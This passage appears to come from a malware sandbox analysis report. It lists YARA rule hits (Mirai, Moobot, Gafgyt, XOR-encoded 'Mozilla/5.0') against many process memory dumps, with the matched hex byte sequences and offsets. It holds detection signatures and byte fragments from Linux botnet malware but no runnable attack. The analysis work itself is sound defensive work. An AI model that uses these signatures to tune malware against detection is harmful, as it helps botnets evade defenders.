4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6238.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6620.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6505.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6505.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6505.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6505.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6505.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6505.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6394.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6394.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6394.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6394.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6394.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6394.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7149.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7149.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7149.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7149.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7149.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7149.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7021.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7021.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7021.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7021.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7021.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7021.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7025.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7034.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7034.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7034.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7034.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7034.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7034.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6488.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6786.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6832.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6832.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6314.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6832.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6832.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 